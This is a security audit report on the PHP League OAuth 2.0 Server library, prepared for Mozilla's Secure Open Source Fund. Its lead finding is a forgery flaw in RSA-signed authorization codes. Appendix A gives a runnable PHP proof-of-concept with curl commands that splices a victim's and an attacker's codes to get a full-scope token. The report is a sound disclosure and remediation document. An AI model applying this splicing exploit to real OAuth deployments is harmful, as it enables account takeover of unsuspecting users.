Least Authority
Freedom Matters

Security Audit Report for the Mozilla Secure Open Source Fund

OAuth2.0 Server

Overview

Mozilla SOS Fund has requested Least Authority perform a security audit of OAuth 2.0 Server. OAuth 2.0 Server (https://github.com/thephpleague/oauth2-server) is a standards-compliant implementation of an OAuth 2.0 authorization server written in PHP to facilitate working with OAuth 2.0 in PHP.

Coverage

Target Code and Revision

For this audit, we reviewed the OAuth 2.0 Server code found at:

https://github.com/thephpleague/oauth2-server

Specifically, we examined the Git revision:

bf7084a147e8072b889347f072a081530b7e0956

All file references in this document use Unix-style paths relative to the project's root directory.

Dependencies

Although our primary focus was on the application code, we examined dependency code and behavior when it was relevant to a particular line of investigation. In general, we made the assumption that dependencies implemented their APIs securely, i.e. we focused on bugs in the usage of dependencies rather than in the dependencies themselves.

Scope

Our investigation focused on the following areas, based on their likelihood of impacting an OAuth 2.0 server application:

- Token parsing and validation.
- Cryptographic usage errors.
- Information leakage through side channels (message contents, timing, etc).
- PHP-specific issues (type confusions, file inclusion).
- Authentication and authorization logic.

Manual Code Review

In manually reviewing the code, we looked for any potential issues with code logic, error handling, protocol and header parsing, cryptographic errors, and random number generators. We also kept an eye out for areas where more defensive programming could reduce the risk of future mistakes and speed up future audits.

The files we manually reviewed included:

- All files under src/ directory
- The demo code under examples was examined to better understand the intended usage of the library but was not checked for vulnerabilities.

Automated Code Analysis

In addition to manually reviewing the code, we used automated tools to search for potential problems. Some of the tools that we used are:

- Phpstan (https://github.com/phpstan/phpstan), which detected no notable issues.
- Parse (https://github.com/psecio/parse), which detected no issues.

The project may wish to adopt one or more static analysis tools as part of continuous integration.

Not in Scope

The implementations of third-party dependencies including the JWT library were considered to be out of scope. We also did not do an in-depth analysis of the test code to determine if it adequately tests all security edge cases.

Findings

Code Quality

Overall, the system seems well organized and avoids common security problems afflicting PHP codebases. The project has made a good decision not to support older versions of PHP which no longer have security support.

Issues

We list the issues we found in the code in the order we found them.

Issue A: Authorization codes are authenticated with RSA in “ECB mode”

Severity: High

Impact: It is possible to forge authorization codes and obtain full access to a user’s account. In combination with Issue B it may also be possible to get the server to sign useful messages it never intended to sign (e.g. a JWT).

Preconditions: To obtain full access (all scopes) to a user’s account, the attacker must be able to (1) register two OAuth clients with the vulnerable service or one OAuth client with multiple redirect URIs; (2) convince the victim to use one of their OAuth clients, e.g. by providing a “log in with...” button on a website the victim legitimately wants to use; (3) be able to choose or determine the length of their client identifier; and (4) be able to choose the length of their redirect URIs.

Technical Details: The `encrypt()` and `decrypt()` functions in *src/CryptTrait.php* encode JSON objects by splitting the string representation into one or more substring then individually signing them with RSA (without using a hash function). This allows the server to later ‘decrypt’ the signatures to recover the original JSON text, verifying their authenticity piecewise. Since the substrings are signed individually, an adversary can break tokens apart along the block boundaries and piece them together in a different order or even piece together parts of different tokens.

This can be exploited to gain full access to a victim user’s account as follows:

1. The attacker registers a “useful service” client, choosing the redirect URI length so that the “user_id” part of the authorization code lines up with a block boundary when the scope list contains one or a few low-privilege scopes (consistent with a “log in with…” button).

2. The attacker registers an “attack” client, this time choosing the redirect URI length so that the “user_id” part of the authorization code lines up with a block boundary when the scope list contains *all* of the scopes they want to maliciously gain access to. Alternatively, they could register another redirect URI with the “useful service” client.
3. The victim uses the attacker’s “useful service” client with the authorization code grant, authorizing only the very low privilege scope(s). The attacker saves the authorization code.
4. The attacker uses the “attack” client with their own account on the victim service, granting access to all of the scopes from step (2). The attacker saves the authorization code.
5. The attacker replaces the last 7 blocks of the authorization code from step (4) with the last 7 blocks of the authorization code from step (3). The result will be a valid authorization code for the “attack” client with all the scopes from step (2) but for the victim’s account instead of the attacker’s.

A proof of concept demonstration of this exploit is given in **Appendix A**.

Mitigation: Vulnerable services should disable their authorization servers until a patch is available. We recommend coordinating the disclosure of this vulnerability with the major OAuth2 services using this library to prevent it from being exploited before patches are in place.

Remediation: There is no need to use public key cryptography in this context. Use authenticated encryption with a secret key stored on the server to encrypt the authorization codes. Good PHP libraries for this exist, including https://github.com/defuse/php-encryption and https://github.com/paragonie/halite. Encryption, not just integrity protection, is required here, see **Issue E**.

Issue B: Insufficient validation of code_challenge field in src/Grant/AuthCodeGrant.php

Severity: Medium

Impact: On its own, this is a low vulnerability finding. However because the `code_challenge` field is included in a JSON object which is signed, in combination with **Issue A** this might allow an adversary to trick the server into signing a string it did not intend to sign.

Preconditions: None

Technical Details: Per RFC 7636, the `code_challenge` field should be restricted to 43-128 characters within a certain limited character set. No such validation is performed; a string of any length and content is accepted. Because of **Issue A**, part of this string may be passed to the raw RSA signing function, potentially making it possible to forge signatures of other things the RSA keys are used for (e.g. JWTs).

Mitigation: None known

Remediation: Apply validation according to the RFC, for example using `preg_match("/^[A-Za-z0-9-._~]{43,128}$/", $codeChallenge)` in *Grant/AuthCodeGrant.php*'s `validateAuthorizationRequest()`.

Issue C: Invalid/rejected "scope" names are reflected into the output

Severity: Low

Impact: Depending on how the application makes use of these exceptions, it's possible that this could lead to XSS vulnerabilities or other effects.

Preconditions: None

Technical Details: The `invalidScope()` function in *src/Exception/OAuthServerException.php* returns the rejected scope name in the error string.

Mitigation: None known

Remediation: Either avoid echoing invalid scopes at all, or else before doing so verify that they contain only alphanumeric characters – any scope containing for example '<' or a '"` is obviously malicious and should not be echoed back.

Issue D: Keys are saved to a temporary directory using predictable filenames

Severity: Medium

Impact: Possibility of leaking private key material to local attackers. Possibility of token forgery by replacing the server's public key.

Preconditions: Assumes either an attacker with local (not necessarily admin) access to the machine, or else a second vulnerable application running on the same system that leaks the contents of files in the temporary directory.

Technical Details: In *src/CryptKey.php*, if the RSA key is passed as a literal string (containing the PEM encoding of the key), it is saved to a file in the system temporary directory. However the code does not verify that the file is not created world-readable. Additionally, the code does not verify that it is the exclusive owner of the file; this allows an attacker to pre-create a file in the temporary directory with the expected name, but with world-readable permissions or containing a different key. This might lead to the acceptance of forged or invalid tokens.

Remediation: The file need be only readable by the server process, so ensure this by using chmod. Additionally, verify the ownership of the file, and check the return value of `file_put_contents()`, which may fail if the file exists but is, for example, actually owned by a different user.

Issue E: Leakage of code_challenge field

Severity: Medium

Impact: Information disclosure.

Preconditions: Assumes the server's RSA public key is either known or recoverable. An RSA public key can be recovered from the signatures of two known messages, as described in https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures.

Technical Details: The 'encryption' performed is reversible by anyone who knows the public key, revealing the `code_challenge` field. This violates the restriction from RFC 7636 sec 4.4 that "The server MUST NOT include the "code_challenge" value in client requests in a form that other entities can extract."

Remediation: As in **Issue A**.

Suggestions

Suggestion 1: Validate expected fields are being parsed

Severity: Informational

Synopsis: During parsing of messages, arbitrary additional fields are accepted and ignored. However the set of allowable fields is fixed to those found in the IANA managed OAuth Parameters registry. Consider validating that only precisely the expected fields are set for the particular message type being parsed.

Suggestion 2:

Severity: Informational

Synopsis: In *ImplicitGrant.php*'s `validateAuthorizationRequest()` and *AbstractGrant.php*'s `validateClient()`, the code pattern for checking the redirect URI fails open in the case where `$client->getRedirectUri()` returns neither a string nor an array. This will lead to security vulnerabilities if the user of the library does not implement the

`ClientEntityInterface` carefully. Both cases should be amended with a final catch-all cases (for an object that is neither a string nor an array being returned) that rejects the request.

Project Team

Jack Lloyd
Jack has over 15 years of experience as a software developer and security auditor. He has worked on projects ranging from VoIP applications to automated trading platforms. As a FIPS-140 reviewer, he examined the security of dozens of proprietary crypto implementations. He is also the author of the Botan cryptography library.

Taylor Hornby
Taylor is known for his carefully-written security tools (including a PHP cryptography library) as well as the side-channel attack research he presented at Black Hat USA in 2016. He regularly performs security & cryptography audits of open-source software during which he has discovered numerous vulnerabilities. He is an organizer of the Underhanded Crypto Contest, a research competition for bettering our understanding of surreptitious software backdoors.

Liz Steininger
Liz is a supporter of open source software that encourages transparency and access to information, along with software that enables individuals to freely express themselves and retain the ability to control their own information. She has over 15 years of experience as a Program and Project Manager, Strategist and Analyst working towards these goals.

Appendix A: Proof of Concept Code for Issue A

(Authorization codes are authenticated with RSA in “ECB mode”)

For a downloadable syntax-highlighted version of this code, see here:
https://gist.github.com/defuse/e21345a61bb8d074c6d2906ba77594ab

```
<?php

/*
   This Proof of Concept demonstrates how an attacker can gain access to all
   scopes of a user's account given that:

        1. The attacker can get the user to use them as an OAuth client with low
           privilege scopes, e.g. by running a useful service and having a "log
           in with..." button.

        2. When the attacker registers clients they can choose or predict the
           length of the client identifier and choose the length of their
           redirect URI.

    Here's how it works:

        1. The attacker registers their "useful service" client so that in the
           signed authorization code the "user_id" part aligns with an RSA ECB
           block boundary when the scope list contains just the basic scope
           needed for a "log in with.." button. (See AuthCodeGrant.php for the
           order of fields in an authorization code).

        2. The attacker registers their "attack" client so that in the signed
           authorization code the "user_id" part aligns with an RSA ECB boundary
           when the scope list contains *all* supported scopes.

        3. The user clicks "log in with..." on the useful service and approves
           the basic scope. The attacker saves the authorization code.

        4. The attacker gets an authorization code for all scopes for their own
           account using the attack client.

        5. The attacker replaces the last blocks in the authorization code from
           (5) with the last blocks in the authorization code from (4), creating
           an authorization code with all scopes for the victim user's account.

    To try this PoC:

        1. Place this file in examples/public/ProofOfConcept.php
        2. Follow the instructions in examples/README.md to run the server.
        3. Simulate the user authorizing the "basic" scope:

            curl -v -X "GET" "http://localhost:4444/ProofOfConcept.php/
            authorize_alex?response_type=code&redirect_uri=http://foo/
            barr&client_id=coolservice&client_secret=foobar&scope=basic"

            (remove all line breaks in this command)
```

```
        4. Simulate the attacker authorizing the "basic" and "email" scopes:

            curl -v -X "GET" "http://localhost:4444/ProofOfConcept.php/
            authorize_taylor?response_type=code&redirect_uri=http://foo/
            barrrrrrrrrrr&client_id=hackerapp&client_secret=foobar&scope=basic%20email"

            (remove all line breaks in this command)

        5. From the output of (3) and (4), get the authorization codes,
           urldecode them, and plug them into this PHP script:

                <?php
                $victim_code = "INSERT VICTIM AUTH CODE HERE";
                $attacker_code = "INSERT ATTACKER AUTH CODE HERE";

                $victim_code_bin = base64_decode($victim_code);
                $attacker_code_bin = base64_decode($attacker_code);

                echo base64_encode(
                    // The part of the attacker's code containing the client_id,
                    // redirect_uri, auth_code_id, and scopes.
                    substr($attacker_code_bin, 0, 13*26) .
                    // The part of the victim's code containing the user_id, expire_time,
                    // code_challenge, code_challenge_method.
                    substr($victim_code_bin, 12*26)
                );
                ?>

        6. Request an access token using the forged access code:

                curl -v -X "POST" "http://localhost:4444/ProofOfConcept.php/access_token"
\
                    -H "Content-Type: application/x-www-form-urlencoded" \
                    -H "Accept: 1.0" \
                    --data-urlencode "grant_type=authorization_code" \
                    --data-urlencode "code=INSERT FORGED ACCESS CODE HERE" \
                    --data-urlencode "client_id=hackerapp" \
                    --data-urlencode "client_secret=foobar" \
                    --data-urlencode "redirect_uri=http://foo/barrrrrrrrrrr"

        7. This will succeed, giving back a Bearer token for the victim user
        with all of the scopes. An easy way to verify this is to add
        a var_dump($accessToken) before the return in issueAccessToken().

*/

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

use League\OAuth2\Server\AuthorizationServer;
use League\OAuth2\Server\Entities\AccessTokenEntityInterface;
use League\OAuth2\Server\Entities\ClientEntityInterface;
use League\OAuth2\Server\Entities\UserEntityInterface;
use League\OAuth2\Server\Exception\OAuthServerException;
use League\OAuth2\Server\Grant\AuthCodeGrant;
use League\OAuth2\Server\Repositories\AccessTokenRepositoryInterface;
use League\OAuth2\Server\Repositories\ClientRepositoryInterface;

use OAuth2ServerExamples\Entities\ClientEntity;
```

```
use OAuth2ServerExamples\Repositories\AccessTokenRepository;
use OAuth2ServerExamples\Repositories\AuthCodeRepository;
use OAuth2ServerExamples\Repositories\RefreshTokenRepository;
use OAuth2ServerExamples\Repositories\ScopeRepository;

use Slim\App;
use Zend\Diactoros\Stream;

include __DIR__ . '/../vendor/autoload.php';

class ClientRepository implements ClientRepositoryInterface
{
    public function getClientEntity($clientIdentifier, $grantType,
$clientSecret = null, $mustValidateSecret = true)
    {
        /* The attacker registers two clients. One will be a legitimate service
            the victim will actually want to use, e.g. a useful website with
            a "log in with..." button. The second will be used to carry out the
            attack.
        */
        $clients = [
            /* Here, the length of the name 'coolservice' and the length of the
               redirect_uri have been carefully chosen so that when the
               authorization code is signed, the user_id component begins on an
               RSA block boundary when the scope list contains just "basic":

                    [{"client_id":"c]
                    [oolservice","re]
                    [direct_uri":"ht]
                    [tp:\/\/foo\/bar]
                    [r","auth_code_i]
                    [d":"93e06602567]
                    [6312d37f0f6f967]
                    [0198a1ba6e5e570]
                    [c91259f822159ad]
                    [b2e01fc642cc5ce]
                    [5d8b55eaa","sco]
                    [pes":["basic"],]
                    ["user_id":1,"ex]   <--+
                    [pire_time":"149]      |
                    [6352218","code_]      |
                    [challenge":null]      | This part replaces the part in the
                    [,"code_challeng]      | attacker's auth code.
                    [e_method  ":nul]      |
                    [l}]                <--+
             */
            'coolservice' => [
                'secret' => 'foobar',
                'name' => 'An awesome tool.',
                'redirect_uri' => 'http://foo/barr',
                'is_confidential' => true,
            ],
            /* For this one, we choose the length of the name 'hackerapp' and
               the length of the redirect_uri so that the user_id component
               begins on an RSA block boundary when the scope list contains all
               of the scopes (basic and email in this example):

                    [{"client_id":"h]
                    [ackerapp","redi]
                    [rect_uri":"http]
```

```
                    [:\/\/foo\/barrr]
                    [rrrrrrrr","auth]
                    [_code_id":"355d]
                    [e4570c5a9c543c8]
                    [cd46c5b9b078946]
                    [74df33a0f18074f]
                    [2c633b653f5e641]
                    [51fcbcf168fd2e4]
                    [5","scopes":["b]
                    [asic","email"],]
                    ["user_id":2,"ex]    <--+
                    [pire_time":"149]       |
                    [6352370","code_]       |
                    [challenge":null]       | This part gets replaced by the
                    [,"code_challeng]       | part from the victim's auth code.
                    [e_method  ":nul]       |
                    [l}]                <--+
             */

            'hackerapp' => [
                'secret' => 'foobar',
                'name' => 'Totally not a malicious app.',
                'redirect_uri' => 'http://foo/barrrrrrrrrrr',
                'is_confidential' => true,
            ],
        ];

        // Check if client is registered
        if (array_key_exists($clientIdentifier, $clients) === false) {
            return;
        }

        if (
            $mustValidateSecret === true
            && $clients[$clientIdentifier]['is_confidential'] === true
            && $clientSecret !== $clients[$clientIdentifier]['secret']
        ) {
            return;
        }

        $client = new ClientEntity();
        $client->setIdentifier($clientIdentifier);
        $client->setName($clients[$clientIdentifier]['name']);
        $client->setRedirectUri($clients[$clientIdentifier]['redirect_uri']);

        return $client;
    }
}

/* Define the users. Alex is the Victim, Taylor is the attacker. */
class UserEntity implements UserEntityInterface
{
    private $username;

    function __construct($username)
    {
        $this->username = $username;
    }

    public function getIdentifier()
```

```
    {
        if ($this->username == "alex") {
            return 1;
        } else if ($this->username == "taylor") {
            return 2;
        }
    }
}


/* Set up an authorization server. */
$app = new App([
    'settings'    => [
        'displayErrorDetails' => true,
    ],
    AuthorizationServer::class => function () {
        // Init our repositories
        $clientRepository = new ClientRepository();
        $scopeRepository = new ScopeRepository();
        $accessTokenRepository = new AccessTokenRepository();
        $authCodeRepository = new AuthCodeRepository();
        $refreshTokenRepository = new RefreshTokenRepository();

        $privateKeyPath = 'file://' . __DIR__ . '/../private.key';
        $publicKeyPath = 'file://' . __DIR__ . '/../public.key';

        // Setup the authorization server
        $server = new AuthorizationServer(
            $clientRepository,
            $accessTokenRepository,
            $scopeRepository,
            $privateKeyPath,
            $publicKeyPath
        );

        // Enable the authentication code grant on the server with a token TTL of 1 hour
        $server->enableGrantType(
            new AuthCodeGrant(
                $authCodeRepository,
                $refreshTokenRepository,
                new \DateInterval('PT10M')
            ),
            new \DateInterval('PT1H')
        );

        return $server;
    },
]);

/* Alex will only ever authorize basic access. */
$app->get('/authorize_alex', function (ServerRequestInterface $request, ResponseInterface
$response) use ($app) {
    $server = $app->getContainer()->get(AuthorizationServer::class);
    try {
        $authRequest = $server->validateAuthorizationRequest($request);
        $authRequest->setUser(new UserEntity('alex'));
        if (count($authRequest->getScopes()) === 1 &&
$authRequest->getScopes()[0]->getIdentifier() === 'basic') {
            $authRequest->setAuthorizationApproved(true);
        } else {
```

```
            $authRequest->setAuthorizationApproved(false);
        }
        return $server->completeAuthorizationRequest($authRequest, $response);
    } catch (OAuthServerException $exception) {
        return $exception->generateHttpResponse($response);
    } catch (\Exception $exception) {
        $body = new Stream('php://temp', 'r+');
        $body->write($exception->getMessage());
        return $response->withStatus(500)->withBody($body);
    }
});

/* Taylor will authorize anything. */
$app->get('/authorize_taylor', function (ServerRequestInterface $request,
ResponseInterface $response) use ($app) {
    $server = $app->getContainer()->get(AuthorizationServer::class);
    try {
        $authRequest = $server->validateAuthorizationRequest($request);
        $authRequest->setUser(new UserEntity('taylor'));
        $authRequest->setAuthorizationApproved(true);
        return $server->completeAuthorizationRequest($authRequest, $response);
    } catch (OAuthServerException $exception) {
        return $exception->generateHttpResponse($response);
    } catch (\Exception $exception) {
        $body = new Stream('php://temp', 'r+');
        $body->write($exception->getMessage());
        return $response->withStatus(500)->withBody($body);
    }
});

$app->post('/access_token', function (ServerRequestInterface $request, ResponseInterface
$response) use ($app) {
    /* @var \League\OAuth2\Server\AuthorizationServer $server */
    $server = $app->getContainer()->get(AuthorizationServer::class);

    try {
        return $server->respondToAccessTokenRequest($request, $response);
    } catch (OAuthServerException $exception) {
        return $exception->generateHttpResponse($response);
    } catch (\Exception $exception) {
        $body = new Stream('php://temp', 'r+');
        $body->write($exception->getMessage());

        return $response->withStatus(500)->withBody($body);
    }
});

$app->run();
```